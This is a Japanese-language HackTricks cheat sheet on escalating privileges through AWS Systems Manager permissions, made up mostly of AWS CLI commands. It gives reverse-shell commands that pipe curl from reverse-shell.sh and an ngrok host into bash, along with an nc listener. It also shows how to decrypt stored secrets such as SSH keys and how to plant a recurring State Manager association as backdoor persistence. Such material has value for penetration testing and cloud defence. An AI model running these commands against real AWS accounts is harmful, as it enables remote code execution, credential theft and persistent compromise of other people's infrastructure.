AWS - SSM Privesc
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SSM
SSMに関する詳細情報は、以下を確認してください:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
ssm:SendCommand
の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスでコマンドを実行し、その中で実行されているIAMロールを危険にさらすことができます。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
この技術を使用して、すでに侵害されたEC2インスタンス内で特権を昇格させる場合は、次のコマンドでローカルにリバースシェルをキャプチャできます:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
ssm:StartSession
ssm:StartSession
の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを開始し、その中で実行されているIAMロールを侵害することができます。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
ECSへの権限昇格
ECSタスクが**ExecuteCommand
を有効にして実行されると、十分な権限を持つユーザーはecs execute-command
を使用してコンテナ内でコマンドを実行できます。
ドキュメントによると、これは“exec”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。(これが機能するためにはSSMセッションマネージャープラグインが必要です)
したがって、ssm:StartSession
を持つユーザーは、そのオプションを有効にしてECSタスク内でシェルを取得**できるようになります。
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
潜在的な影響: ExecuteCommand
が有効な実行中のタスクに添付されたECS
IAMロールへの直接的な権限昇格。
ssm:ResumeSession
ssm:ResumeSession
の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで切断されたSSMセッション状態のSSHのようなセッションを再開始し、その中で実行されているIAMロールを侵害することができます。
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
潜在的な影響: SSMエージェントが実行されている実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
言及された権限を持つ攻撃者は、SSMパラメータをリストし、平文で読むことができるようになります。これらのパラメータには、SSHキーやAPIキーなどの機密情報が頻繁に見つかることがあります。
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
潜在的な影響: パラメータ内の機密情報を見つける。
ssm:ListCommands
この権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、そこに機密情報が含まれていることを期待できます。
aws ssm list-commands
潜在的な影響: コマンドライン内の機密情報を見つける。
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
これらの権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、生成された出力を読み取ることができ、そこに機密情報が見つかることを期待します。
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
潜在的な影響: コマンドラインの出力内に機密情報を見つける。
ssm:CreateAssociationの使用
ssm:CreateAssociation
の権限を持つ攻撃者は、SSMによって管理されているEC2インスタンスでコマンドを自動的に実行するためのState Manager Associationを作成できます。これらのアソシエーションは固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのような持続性に適しています。
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
この永続性の方法は、EC2インスタンスがSystems Managerによって管理され、SSMエージェントが実行中であり、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。重要: --schedule-expression
パラメータ(例: rate(30 minutes)
)は、AWSの最小間隔である30分を尊重する必要があります。即時または一度限りの実行の場合は、--schedule-expression
を完全に省略してください — 関連付けは作成後に一度実行されます。
Codebuild
SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます:
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。